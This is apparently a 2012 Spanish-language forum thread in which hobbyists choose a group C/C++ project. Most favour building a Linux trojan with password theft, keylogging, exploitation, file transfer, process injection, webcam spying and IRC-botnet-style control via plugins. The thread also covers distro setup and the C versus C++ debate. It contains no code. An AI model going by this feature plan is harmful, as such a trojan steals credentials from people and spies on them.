porque si eso podemos hacer algo para windows y luego adaptarlo a linux, aunque gran parte del código sera igual (menos sockets y tal)
Puedes manejar sockets con qt que sirve tanto para windows como para linux.
¡Un saludo!


Título: Re: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 21:00 pm
Bueno hagamos votaciones:
para mi hacemos un chat


Título: Re: Proyecto C/C++
Publicado por: Caster en 23 Septiembre 2012, 21:02 pm
es que el chat es algo simple, no es un proyecto muy grande, se puede hacer para los dos SO y si trabajamos bien en el puede salir algo bastante util.


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 23 Septiembre 2012, 21:12 pm
Como el chat parece que no es muy complejo, es un proyecto que nos ayudará a aprender y que seguramente esté dentro de nuestras posibilidades, así que yo también voto por hacer un chat.


Título: Re: Proyecto C/C++
Publicado por: тαптяα en 23 Septiembre 2012, 21:13 pm
Simple? ¿? De todos los proyectos que he leido, para MI es el más complejo, un chat multiconexiones..

Los sockets se las traen.. Yo estoy estudiando como enviar un archivo, también algo interesante..

Mi voto: Chat es lo más interesante


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 23 Septiembre 2012, 21:14 pm
una duda que tengo:
en principio en linux son las mismas funciones casi todas no? (excepto las system y tal..), lo que cambia son las librerías, verdad?

porque si eso podemos hacer algo para windows y luego adaptarlo a linux, aunque gran parte del código sera igual (menos sockets y tal)

Precisamente los sockets es la parte que mas se parece, es mas algunas estructuras son iguales. Los sistemas Unix/Linux tambien tienen unas buenas APIs.

Yo sigo votando por el tema malware/antivirus, me parece lo mas interesante, un chat es casi aburrido, es lo que se hace siempre con sockets.

Saludos.


Título: Re: Proyecto C/C++
Publicado por: тαптяα en 23 Septiembre 2012, 21:15 pm
Un antivirus también mola. ¿por qué no?


Título: Re: Proyecto C/C++
Publicado por: Caster en 23 Septiembre 2012, 21:16 pm
Se pueden hacer todas una por una poco a poco


Título: Re: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 21:17 pm
Precisamente los sockets es la parte que mas se parece, es mas algunas estructuras son iguales. Los sistemas Unix/Linux tambien tienen unas buenas APIs.

Yo sigo votando por el tema malware/antivirus, me parece lo mas interesante, un chat es casi aburrido, es lo que se hace siempre con sockets.

Saludos.

a ok buena info!
pero piensa que no todos sabemos sockets aún, así que creo que como esto lo hacemos para aprender, lo mejor sea que hagamos algo sencillo y multiplataforma

Parce que no nos decidimos entre antivirus y chat xD


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 23 Septiembre 2012, 21:18 pm
Un antivirus también mola. ¿por qué no?

Debe ser bastante difícil... Como dice avesudra, hay millones de firmas de virus, y dudo que un equipo de tan pocas personas pueda hacer tanto trabajo...

Precisamente los sockets es la parte que mas se parece, es mas algunas estructuras son iguales. Los sistemas Unix/Linux tambien tienen unas buenas APIs.

Yo sigo votando por el tema malware/antivirus, me parece lo mas interesante, un chat es casi aburrido, es lo que se hace siempre con sockets.

Saludos.


El problema de hacer malware para Unix/Linux es que quizá no todos estén dispuestos a descargar el SO, pero a mí también me parece una buena idea, y quizá más divertida que el chat. Pero bueno, ambas opciones me gustan y estoy dispuesto a colaborar en las dos.


Título: Re: Proyecto C/C++
Publicado por: Caster en 23 Septiembre 2012, 21:19 pm
Yo ya dije que en unos dias instalaré Ubuntu, yo no tengo muchos conociemientos de C, pero podeis contar conmigo para cualquier proyecto.


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 23 Septiembre 2012, 21:23 pm
Yo lo mismo, en unos días también instalaré alguna distribución de Linux (todavía he decidido cuál).

A ver qué decidimos al final...  :silbar:


Título: Re: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 21:58 pm
pues lo que queráis, xD
yo lo único es que no entiendo lo de programar en linux xD pero ya buscare algún buen compilador y tal y ya esta (porque por mucho que hagamos el chat, también necesitaremos usar linux para que nos funcione en los dos SO)


Título: Re: Proyecto C/C++
Publicado por: Caster en 23 Septiembre 2012, 22:04 pm
Pues decidido queda, se hacen las dos, el chat y el malware/antivirus. Ahora hay que organizarse


Título: Re: Proyecto C/C++
Publicado por: oPen syLar en 23 Septiembre 2012, 22:09 pm
También tenia desarrollado un malware en Linux.. Pero por ahora tengo pocas funciones.. =) No le e dedicado mucho tiempo

Dudo mucho que podamos hacer un AV ... Se necesita de muchas personas.. Y mucho conocimiento acerca de reversing.. (No es solo programar) Se necesita dedicación


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 23 Septiembre 2012, 22:23 pm
Definitivamente me parece que lo mejor es malware para linux. Al menos me parece lo mas entretenido.


Título: Re: Proyecto C/C++
Publicado por: Caster en 23 Septiembre 2012, 22:31 pm
Pues empecemos con el malware para linux.


Título: Re: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 22:36 pm
creo que mejor empezar por el chat que es mas sencillo, si no podemos hacerlo probablemente tampoco podamos hacer el malware


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 23 Septiembre 2012, 22:39 pm
Pues empecemos con el malware para linux.

Me parece genial, eso si, hay muchos tipos de malware. Que haria este?


Título: Re: Proyecto C/C++
Publicado por: oPen syLar en 23 Septiembre 2012, 22:47 pm
Todos (o la gran mayoría) de los malware sobre Linux son enfocados a servidores.. Tenia la idea de hacer alguno enfocado a los Linux de los hogares.. Robo de password.. Explotación de vuln.. Keylogger.. Upload/Download de ficheros.. Inyección de procesos.. etc etc.. Bueno tengo mas ideas.. Pero.. Esta son las que se me vienen ahora mismo =)


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 23 Septiembre 2012, 22:53 pm
Todos (o la gran mayoría) de los malware sobre Linux son enfocados a servidores.. Tenia la idea de hacer alguno enfocado a los Linux de los hogares.. Robo de password.. Explotación de vuln.. Keylogger.. Upload/Download de ficheros.. Inyección de procesos.. etc etc.. Bueno tengo mas ideas.. Pero.. Esta son las que se me vienen ahora mismo =)

Eso estaria genial. Ademas pensad que la mayoria de las APIs de linux tambien funcionan en OS X.


Título: Re: Proyecto C/C++
Publicado por: oPen syLar en 23 Septiembre 2012, 23:08 pm
No lo se x) Nunca e desarrollado para OSX xD Pero hombre OSX es BSD seguro la mayoría de las funciones son compatibles.. Aunque primero debería de hacerse compatible con las 1.41331.14121.11313.1313 distribuciones que existen de Linux.. Luego por todo lo demás..


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 23 Septiembre 2012, 23:12 pm
Eso seria como un troyano no? Se podria hacer con soporte para plugins y que cada una de esas funciones fuera un plugin.. Eso se puede hacer con dlfcn.h


Título: Re: Proyecto C/C++
Publicado por: Caster en 23 Septiembre 2012, 23:19 pm
Yo ya estoy perdido :xD :xD :xD :xD


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 23 Septiembre 2012, 23:34 pm
¿Da igual qué versión de Unix/Linux use para hacer el proyecto? O sea, no es necesario que use la misma que vosotros, ¿no?


Título: Re: Proyecto C/C++
Publicado por: oPen syLar en 23 Septiembre 2012, 23:55 pm
Mientras mas distros diferentes sea desarrollada mejor.. Así nos aseguramos que puede correr en un Arch o Debian o Fedora u otra distro


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 24 Septiembre 2012, 00:26 am
Mientras mas distros diferentes sea desarrollada mejor.. Así nos aseguramos que puede correr en un Arch o Debian o Fedora u otra distro

Exacto. Me pido ubuntu!


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 24 Septiembre 2012, 15:46 pm
Bueno quien se apunta a malware para linux?


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 24 Septiembre 2012, 15:49 pm
Bueno quien se apunta a malware para linux?

Por cierto, ¿cómo probaríamos si los malware funcionan? ¿Nos infectamos a nosotros mismos?  :huh:

Yo estoy preguntando unas dudas en el subforo de GNU/Linux sobre su instalación, espero tenerlo instalado antes del jueves.


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 24 Septiembre 2012, 16:15 pm
Por cierto, ¿cómo probaríamos si los malware funcionan? ¿Nos infectamos a nosotros mismos?  :huh:

Yo estoy preguntando unas dudas en el subforo de GNU/Linux sobre su instalación, espero tenerlo instalado antes del jueves.


Bueno, mientras lo tengas controlado no creo que haya riesgo. Ademas lo suyo seria añadir una funcion para desinfectar, que no es algo muy costoso.

Y en cuanto a linux, que distro vas a instalar? No se otras, pero por lo menos Ubuntu tiene un instalador muy sencillo de usar, la puedes instalar incluso desde un pendrive.


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 24 Septiembre 2012, 16:21 pm
Bueno, mientras lo tengas controlado no creo que haya riesgo. Ademas lo suyo seria añadir una funcion para desinfectar, que no es algo muy costoso.

Y en cuanto a linux, que distro vas a instalar? No se otras, pero por lo menos Ubuntu tiene un instalador muy sencillo de usar, la puedes instalar incluso desde un pendrive.

Tenía pensado instalar Linux Mint, pero estoy viendo qué hago... Es que tengo miedo a perder los datos que tengo o el SO (Windows 7) al particionar el disco duro...


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 24 Septiembre 2012, 16:26 pm
Tenía pensado instalar Linux Mint, pero estoy viendo qué hago... Es que tengo miedo a perder los datos que tengo o el SO (Windows 7) al particionar el disco duro...

Yo que tu haria un backup de los datos, y el SO... haria una fiesta si se pierde el windows! No ya en serio, no creo que vayas a perder nada, es mas, lo que es posible es que el windows no te deje arrancar el linux, pero la mayoria de distros siempre te van a dar opcion a arrancar ambos.


Título: Re: Proyecto C/C++
Publicado por: durasno en 24 Septiembre 2012, 16:30 pm
Hola! para empezar tal vez te convendria usar un programa que simule tu computadora, por ejemplo el VirtualBox. Con esto te vas a evitar particionar el disco y no vas a tener problema de destruir la maquina virtual  ;D sin preocuparte por nada


Saludos


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 24 Septiembre 2012, 16:37 pm
Yo que tu haria un backup de los datos, y el SO... haria una fiesta si se pierde el windows! No ya en serio, no creo que vayas a perder nada, es mas, lo que es posible es que el windows no te deje arrancar el linux, pero la mayoria de distros siempre te van a dar opcion a arrancar ambos.

Bueno, los datos importantes los tengo en un USB, pero el SO es el que venía con el ordenador, así que no tengo un CD de instalación... Eso es lo que más miedo me da, ya que me gustaría tener los dos SO mientras que me acostumbro a Linux y encuentro programas que "sustituyan" a los que uso en Windows, que no creo que sea tarea fácil...


Hola! para empezar tal vez te convendria usar un programa que simule tu computadora, por ejemplo el VirtualBox. Con esto te vas a evitar particionar el disco y no vas a tener problema de destruir la maquina virtual  ;D sin preocuparte por nada

Saludos

Sí, pensé en usar VirtualBox como última opción, pero antes veré a ver si lo instalo   sin VB ni nada por el estilo, ya que me gustaría que me saliese la opción al iniciar el ordenador de qué SO usar (más que nada por comodidad, porque sino cuando quiera usar Linux tendría que iniciar Windows, y después Linux...).


Título: Re: Proyecto C/C++
Publicado por: lluk en 24 Septiembre 2012, 17:00 pm
Yo usaré Backtrack 5 en mi otro PC

por cierto, creo que los que os gusta usar windows, lo mejor que podéis hacer es instalar una máquina virtual con virtualbox o vmware player o lo que sea


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 24 Septiembre 2012, 17:46 pm
A ver si por lo menos unos cuantos de vosotros acabais borrando la particion de windows... ya estoy harto de microsoft :) Espero que sea una experiencia enriquecedora para vosotros usar distros linux ;)

En cuanto al proyecto, parece que va a estar enfocado como un troyano con keylogger, robo de contraseñas, estaria bien agregarle para ver por la webcam(V4L)...

Entonces podriais ir poniendo sugerencias al respecto, como quereis que sea. Yo en algunas cosas ya he estado indagando, por ejemplo el tema de plugins.


Título: Re: Proyecto C/C++
Publicado por: lluk en 24 Septiembre 2012, 19:07 pm
En el post inicial he empezado a poner las características del "malware"

como vamos a hacer que se conecte? tipo las botnets irc? ftp?..?


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 25 Septiembre 2012, 15:50 pm
En el post inicial he empezado a poner las características del "malware"

como vamos a hacer que se conecte? tipo las botnets irc? ftp?..?

Umm... especifica mas tu pregunta.


Título: Re: Proyecto C/C++
Publicado por: bemone en 25 Septiembre 2012, 18:06 pm
En este foro hay un hermoso troyano hecho en QT multiplataforma. Yo iría por el chat. Me uno al proyecto  ;-)


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 25 Septiembre 2012, 18:10 pm
Estoy descargando Linux Mint. Si todo va bien, esta noche o mañana sobre las 16.00 lo instalaré.

Por cierto, empezaríamos por cosas básicas, ¿no? Porque yo de malware no tengo ni idea todavía... (y menos en Linux).


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 25 Septiembre 2012, 18:20 pm
En este foro hay un hermoso troyano hecho en QT multiplataforma. Yo iría por el chat. Me uno al proyecto  ;-)


El Demonio de Alberto Pajuelo. Me he leido las fuentes casi enteras, esta bien.

Estoy descargando Linux Mint. Si todo va bien, esta noche o mañana sobre las 16.00 lo instalaré.

Por cierto, empezaríamos por cosas básicas, ¿no? Porque yo de malware no tengo ni idea todavía... (y menos en Linux).

Linux mint, bien otra distro mas. Umm sabes algo de POSIX? Yo se usar sockets, manejar ficheros, cargar librerias dinamicas(en linux son .so en vez de .dll), listar directorios y archivos, convertir el proceso en un daemon, y algunas cosas mas.

Supongo que casi ninguno de los que quereis hacer el malware teneis mucho conocimiento de estas APIs, asi que creo que lo mejor es primero plantear el diseño y despues implementarlo todo. Ademas de eso podeis buscar el libro "The Linux Programming Interface", que esta publicado en el foro en pdf, gracias a @farresito.


Título: Re: Proyecto C/C++
Publicado por: overxfl0w13 en 25 Septiembre 2012, 18:24 pm
Del GUI me puedo encargar yo, siempre que vayáis a usar Qt.

Además, si estamos hablando de un proyecto formado por varias personas, la cosa será hacer equipos de trabajo independientes (unos para el keylogger,otros que se encarguen de los sockets...) que escriban un serie de clases que puedan ser utilizadas por otro equipo en modo usuario sin tener que preocuparse por la implementación de éstas.


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 25 Septiembre 2012, 18:26 pm
No sé nada de POSIX... Pero mientras empezamos y eso iré viendo cómo funciona.

Estoy descargando el libro que me has dicho.


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 25 Septiembre 2012, 21:03 pm
Del GUI me puedo encargar yo, siempre que vayáis a usar Qt.

Además, si estamos hablando de un proyecto formado por varias personas, la cosa será hacer equipos de trabajo independientes (unos para el keylogger,otros que se encarguen de los sockets...) que escriban un serie de clases que puedan ser utilizadas por otro equipo en modo usuario sin tener que preocuparse por la implementación de éstas.

El problema de las clases es que son de C++. Entonces aqui hay que tomar una decision, y os explico. Para el tema de los plugins, que se suelen implementar cargando librerias dinamicas en tiempo de ejecucion(dlfcn.h), si compilas con un compilador de C, los simbolos(funciones y variables) que exporta la libreria se llaman igual que el identificador que le hayas puesto en el codigo, asi que puedes encontrarlos con dlsym() y obtener un puntero a dicha variable o funcion. En C++ los simbolos no suelen tener el mismo nombre, aunque de todas formas voy a investigar porque creo que habia una forma de hacerlo en C++.

De todas formas hay que tomar una decision: ¿el troyano va a ir a base de plugins o no?

En cuanto a lo de Qt, veo que tienes bien controladas esas librerias, asi que estaria bien que hicieras tu la GUI, al menos a mi me parece bien.

Saludos.


Título: Re: Proyecto C/C++
Publicado por: Caster en 25 Septiembre 2012, 22:22 pm
Yo creo que me retiro del proyecto, son cosas muy complejas para mí, aunque os seguiré para estar atento a algo en lo que pueda ayudar yo.

Saludos.


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 25 Septiembre 2012, 22:29 pm
Yo creo que me retiro del proyecto, son cosas muy complejas para mí, aunque os seguiré para estar atento a algo en lo que pueda ayudar yo.

Saludos.

Lo importante es que aprendas de los que saben mas y que ayudes en lo que puedas, nadie te va a desemplear ni te estan pagando nada.

Saludos.


Título: Re: Proyecto C/C++
Publicado por: Caster en 25 Septiembre 2012, 22:38 pm
Pero no creo que sea bueno para mi ver cosas algunas cosas sin haber aprendido otras antes, mas que nada porque no me voy a enterar, y por eso dije que os seguiria, para cuando pudiese ayudar en algo.

Saludos


Título: Re: Proyecto C/C++
Publicado por: Javier235 en 25 Septiembre 2012, 22:42 pm
Si pueden, súbanlo a algún servidor SVN o algo parecido. Así podemos seguir el desarrollo y tal vez ayudar en algo...


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 25 Septiembre 2012, 23:09 pm
Estaba instalando Linux Mint en VirtualBox (lo tendré un tiempo ahí, ya más adelante lo instalaré como SO principal si me va bien) y me sale una pantalla con "Welcome to Linux Mint..." y 5 opciones de iniciar, iniciar en modo seguro, etc. Al darle a iniciar no hace nada, pero creo que es porque la ISO que me he bajado es para instalar la versión de 64 bits, y me parece que VB no lo soporta... Mañana me descargaré la versión de 32 bits, a ver si así me va y puedo empezar a probarlo, sino probaré a instalar otra versión del SO más antigua (la que he puesto es Linux Mint 13, la más reciente), u otra distro.


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 26 Septiembre 2012, 15:31 pm
Estaba instalando Linux Mint en VirtualBox (lo tendré un tiempo ahí, ya más adelante lo instalaré como SO principal si me va bien) y me sale una pantalla con "Welcome to Linux Mint..." y 5 opciones de iniciar, iniciar en modo seguro, etc. Al darle a iniciar no hace nada, pero creo que es porque la ISO que me he bajado es para instalar la versión de 64 bits, y me parece que VB no lo soporta... Mañana me descargaré la versión de 32 bits, a ver si así me va y puedo empezar a probarlo, sino probaré a instalar otra versión del SO más antigua (la que he puesto es Linux Mint 13, la más reciente), u otra distro.

Ok, avisa cuando lo tengas.


Título: Re: Proyecto C/C++
Publicado por: overxfl0w13 en 26 Septiembre 2012, 15:48 pm
El problema de las clases es que son de C++. Entonces aqui hay que tomar una decision, y os explico. Para el tema de los plugins, que se suelen implementar cargando librerias dinamicas en tiempo de ejecucion(dlfcn.h), si compilas con un compilador de C, los simbolos(funciones y variables) que exporta la libreria se llaman igual que el identificador que le hayas puesto en el codigo, asi que puedes encontrarlos con dlsym() y obtener un puntero a dicha variable o funcion. En C++ los simbolos no suelen tener el mismo nombre, aunque de todas formas voy a investigar porque creo que habia una forma de hacerlo en C++.

De todas formas hay que tomar una decision: ¿el troyano va a ir a base de plugins o no?

En cuanto a lo de Qt, veo que tienes bien controladas esas librerias, asi que estaria bien que hicieras tu la GUI, al menos a mi me parece bien.

Saludos.

Si vais a empezar un proyecto creado por más de un usuario, es una "guarrada" no usar la orientación a objetos, más que nada porque va a ser imposible aclararse leyendo código escrito por otro compañero que poco o nada le importa al que por ejemplo se va a encargar de la interfaz.

Respecto a lo de los plugins, nunca los he usado pero no veo ningún inconveniente en utilizar C++, de hecho mira: http://vgafib.upc.es/wiki/index.php/Usar_plugins_en_C%2B%2B (http://vgafib.upc.es/wiki/index.php/Usar_plugins_en_C%2B%2B)

Saludos.


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 26 Septiembre 2012, 16:23 pm
Si vais a empezar un proyecto creado por más de un usuario, es una "guarrada" no usar la orientación a objetos, más que nada porque va a ser imposible aclararse leyendo código escrito por otro compañero que poco o nada le importa al que por ejemplo se va a encargar de la interfaz.

Respecto a lo de los plugins, nunca los he usado pero no veo ningún inconveniente en utilizar C++, de hecho mira: http://vgafib.upc.es/wiki/index.php/Usar_plugins_en_C%2B%2B (http://vgafib.upc.es/wiki/index.php/Usar_plugins_en_C%2B%2B)

Saludos.


Pues a mi me parece bien, podemos usar C++, sobre todo si se va a usar Qt para la interfaz.

Saludos.


Título: Re: Proyecto C/C++
Publicado por: Fire544 en 26 Septiembre 2012, 21:17 pm
Buenas todos, fijense para realizar un proyecto de tal magnitud, primero seleccionar el tema, luego organizar por grupos quienes y cuales codearan X modulos, tambien tener en cuenta lo siguiente.

La programacion modular es un concepto muy bueno claro si se sabe aprovechar, POO es muy buena tambien, pero si todo sera en C ANSI, se tendrian que implantar reglas a seguir en la elaboracion y diseño del software.

1:Lo primero se hace una lista de quienes se inscriben a X proyecto
2:Ya con el tema o idea seleccionada se llevaria a cabo la reclutacion o seleccion de participantes
3:De acuerdo al numero de participantes entonces se dividira por modulos o sea (subturinas o funciones) cada quien debera trabajar y ser responsable a sus modulos. En este caso tambien se tendria que tener en cuenta el nivel de conocimiento del lenguaje a utilizar.

Por ultimo, tener en cuenta la etapa clasica de desarrollo, en este caso seria x programador trabajaria en:

Logistica de desarrollo: Ahi tendremos en cuenta como se desarrollara cada modulo, o sea cada uno tendra uno espesifico y ese modulo tendra que comunicarse con otros modulos, ya por medio de retornos o parametros pasados por referencia (En caso de C ANSI).

Interfaz de Comunicacion Development Programmer: Como seran las entradas y salidas de cada modulo, o sea algunos modulos seran cerrados (Solamente modifican parametros nada de retornos) o abiertos (devuelven valores), con esto se lograria el tratamiento de informacion de entrada y salida.

Interfaz de Comunicacion Usuario S.O: Se tendria que tomar en cuenta es muy importante, si seria una version tipo (Consola) o GUI, en caso de cual quiera de los tipos, se tendria que elegir quien trabajara en el modelo de diseño y en que se tendria que desarrollar, si QT, GTK, Glut, OpenGL, Allegro, SDL, etc. Yo me apunto si es SDL, garantizo que la PE (Programacion Estructurada) nos hace la vida mas facil, en el campo de diseño GUI o Text console.

Suerte y me apunto en el proyecto !!!


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 26 Septiembre 2012, 21:32 pm
Buenas todos, fijense para realizar un proyecto de tal magnitud, primero seleccionar el tema, luego organizar por grupos quienes y cuales codearan X modulos, tambien tener en cuenta lo siguiente.

La programacion modular es un concepto muy bueno claro si se sabe aprovechar, POO es muy buena tambien, pero si todo sera en C ANSI, se tendrian que implantar reglas a seguir en la elaboracion y diseño del software.

1:Lo primero se hace una lista de quienes se inscriben a X proyecto
2:Ya con el tema o idea seleccionada se llevaria a cabo la reclutacion o seleccion de participantes
3:De acuerdo al numero de participantes entonces se dividira por modulos o sea (subturinas o funciones) cada quien debera trabajar y ser responsable a sus modulos. En este caso tambien se tendria que tener en cuenta el nivel de conocimiento del lenguaje a utilizar.

Por ultimo, tener en cuenta la etapa clasica de desarrollo, en este caso seria x programador trabajaria en:

Logistica de desarrollo: Ahi tendremos en cuenta como se desarrollara cada modulo, o sea cada uno tendra uno espesifico y ese modulo tendra que comunicarse con otros modulos, ya por medio de retornos o parametros pasados por referencia (En caso de C ANSI).

Interfaz de Comunicacion Development Programmer: Como seran las entradas y salidas de cada modulo, o sea algunos modulos seran cerrados (Solamente modifican parametros nada de retornos) o abiertos (devuelven valores), con esto se lograria el tratamiento de informacion de entrada y salida.

Interfaz de Comunicacion Usuario S.O: Se tendria que tomar en cuenta es muy importante, si seria una version tipo (Consola) o GUI, en caso de cual quiera de los tipos, se tendria que elegir quien trabajara en el modelo de diseño y en que se tendria que desarrollar, si QT, GTK, Glut, OpenGL, Allegro, SDL, etc. Yo me apunto si es SDL, garantizo que la PE (Programacion Estructurada) nos hace la vida mas facil, en el campo de diseño GUI o Text console.

Suerte y me apunto en el proyecto !!!


Esta bien, me gusta esa forma de organizar las cosas, pero la verdad es que estaba esperando a algunas personas que tienen que instalar distros en sus ordenadores antes de empezar a asignar tareas.

En cuanto a lo de la programacion estructurada vs POO, habra que celebrar una pelea a muerte con overxfl0w13 xD. No ya en serio, hay que hacer una lista con la gente que se apunta y decidir si C o C++, pero vamos a dejar un par de dias para que la gente se adapte a sus distros no?


Título: Re: Proyecto C/C++
Publicado por: Caster en 26 Septiembre 2012, 21:36 pm
A mi me queda instalar Ubuntu, ya lo probe alguna vez asi que adaptarme no creo que me lleve mucho, si al final el proyecto es en C++ si que ya me retiro totalmente porque no tengo ni idea de C++. Yo solo podré ayudar en cosas muy básicas de C.

Saludos


Título: Re: Proyecto C/C++
Publicado por: Fire544 en 26 Septiembre 2012, 21:45 pm
Hola, si mira creo que no habra problemas en si es C o C++, pero el problema seria si utilizar tales conceptos de PE o POO, y por lo de si es para Win32 o para Linux, no te preocupes que tambien tendriamos que tomar en cuenta la portabilidad del software, tendria que ejcutarse en diferentes plataformas, eso se logra facil, ahora el problema es que concepto se utilizara, y quienes podran participar, no todos trabajan con POO, fuera un exito trabajar con tal concepto todo es mas facil, pero eso estara en manos de los users participantes !!!

Fijense que lindos quedan los GUIs con SDL, !!!!

http://foro.elhacker.net/programacion_cc/interfaz_grafica_implementando_un_menu_csdl-t370366.0.html (http://foro.elhacker.net/programacion_cc/interfaz_grafica_implementando_un_menu_csdl-t370366.0.html)

Suerte !! Esta echa en C puro del estandar ANSI solo PE (Programacion Estucturada)


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 26 Septiembre 2012, 23:41 pm
Mañana por la tarde intentaré hacer el segundo intento de instalación de Linux Mint...

Por cierto, espero que terminemos haciéndolo en C, porque entre las librerías y conceptos nuevos que tendré que aprender y demás, si encima es C++ que no sé nada... (bueno, sé la teoría, pero nunca he aplicado POO en un programa, así que no sé si tengo los conceptos claros).


Título: Re: Proyecto C/C++
Publicado por: dnsdirm en 27 Septiembre 2012, 02:18 am
mm si el pryecto se realiza yo me uno estoy en un nivel no se medio-bajo jajaja no he trabajado casi con librerias externas de c++


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 27 Septiembre 2012, 15:52 pm
Por favor, votad a favor de C o de C++, hacemos un recuento y listo. Yo doy mi voto a C++, pero no tengo inconveniente en usar C.

@Fire544, en cuanto a lo de la portabilidad, el malware esta orientado a linux precisamente por ese tema. ¿Cuantos troyanos conoces para linux/mac os x/unix y cuantos para windows?


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 27 Septiembre 2012, 15:56 pm
Mi voto es a favor de C.

Por cierto, ya estoy instalando Linux Mint.  :D


Título: Re: Proyecto C/C++
Publicado por: Caster en 27 Septiembre 2012, 16:44 pm
El mio a favor de C.

Saludos.


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 27 Septiembre 2012, 19:06 pm
¡Ya tengo Linux Mint instalado! Lo he probado durante 5 minutos, y me parece increíble. Tenía otra visión completamente distinta de Linux, pues en los ordenadores de mi instituto tienen puesto una distro llamada Guadalinex (de Andalucía xD) y me parecía horrible.

Ahora a descargar programas que vaya a necesitar para programar, y listo! Por cierto, en Windows utilizo Codeblocks como IDE de C. ¿Lo uso también para Linux?


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 27 Septiembre 2012, 19:43 pm
¡Ya tengo Linux Mint instalado! Lo he probado durante 5 minutos, y me parece increíble. Tenía otra visión completamente distinta de Linux, pues en los ordenadores de mi instituto tienen puesto una distro llamada Guadalinex (de Andalucía xD) y me parecía horrible.

Ahora a descargar programas que vaya a necesitar para programar, y listo! Por cierto, en Windows utilizo Codeblocks como IDE de C. ¿Lo uso también para Linux?

Si, Code::Blocks tambien funciona en linux, porque no usarlo? Aunque en realidad no es necesario, en la mayoria de distros viene el gcc por defecto y no es muy dificil compilar por consola.

No he probado Linux Mint, pero la primera vez que probe Ubuntu me parecio increible (y sigue siendolo, solo que ya no estoy acostumbrado a windows xD). Yo tambien he visto Guadalinex, y es cierto que no es muy bueno, porque es como un ubuntu viejo y con un entorno grafico feisimo.


Título: Re: Proyecto C/C++
Publicado por: overxfl0w13 en 27 Septiembre 2012, 19:48 pm
Mi voto va para C++, sigo pensando que la mejor forma de programar por equipos es  el paradigma de objetos, pero bueno menudo lío de código se a a montar, además de que Qt no se lleva bien con C, ya que funciona de forma nativa con C++.

Os dejo un ejemplo en Qt para que veáis la interfaz de un proyecto hecho por XeRaCkEr y por mi:

http://foro.elhacker.net/programacion_cc/chat_qt4sfml-t367009.0.html;msg1766083#msg1766083

PD: Ahora que me fijo uno de los proyectos era un chat, si queréis usar nuestro código, sin problema.


Título: Re: Proyecto C/C++
Publicado por: Stakewinner00 en 27 Septiembre 2012, 20:20 pm
Otra propuesta que queria hacer por si alguien le interesa.

Netcat ya esta bastante anticuado y pensé en hacer un programa como netcat pero mejorado con opciones de sniffing etc y compatible con linux y windows. Version por consola y por Interfaz de usuario.

PD:Aun estoy aprendiendo c++ y casi lo único que puedo aportar es la idea.


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 27 Septiembre 2012, 20:24 pm
Otra propuesta que queria hacer por si alguien le interesa.

Netcat ya esta bastante anticuado y pensé en hacer un programa como netcat pero mejorado con opciones de sniffing etc y compatible con linux y windows. Version por consola y por Interfaz de usuario.

PD:Aun estoy aprendiendo c++ y casi lo único que puedo aportar es la idea.

Eso es una buena idea, pero escribiendo unos plugins para el troyano puede ser lo mismo.


Título: Re: Proyecto C/C++
Publicado por: Stakewinner00 en 27 Septiembre 2012, 20:27 pm
Eso es una buena idea, pero escribiendo unos plugins para el troyano puede ser lo mismo.

Si lo hacemos nosotros mismo se aprende mas y es mas flexible


Título: Re: Proyecto C/C++
Publicado por: Fire544 en 27 Septiembre 2012, 20:35 pm
Mejor porque no hacer reuniones ya sea por canales de chat real como IRC, o utilizar skype ya sea para Linux/Windows a si sera mejor organizar y llegaremos a mejores a cuerdos !! Si desean instalen skype y dejen sus nicknames en MP y listo, aaa aclaro tambien skype  esta para algunas distros... Linux !!

NickName Skype: alex.castillo168
Desicion: Mi voto es por C y me anoto en el proyecto... !! :xD


Título: Re: Proyecto C/C++
Publicado por: Stakewinner00 en 27 Septiembre 2012, 20:52 pm
Mejor porque no hacer reuniones ya sea por canales de chat real como IRC, o utilizar skype ya sea para Linux/Windows a si sera mejor organizar y llegaremos a mejores a cuerdos !! Si desean instalen skype y dejen sus nicknames en MP y listo, aaa aclaro tambien skype  esta para algunas distros... Linux !!

tmabine podemos reunirnos en las vegas XDXD, siempre es mejor hablar en live pero por skype tambíen sirve


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 27 Septiembre 2012, 21:14 pm
tmabine podemos reunirnos en las vegas XDXD, siempre es mejor hablar en live pero por skype tambíen sirve

Voto por eso, vamos a Las Vegas xD. Skype: danipozo97


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 27 Septiembre 2012, 21:27 pm
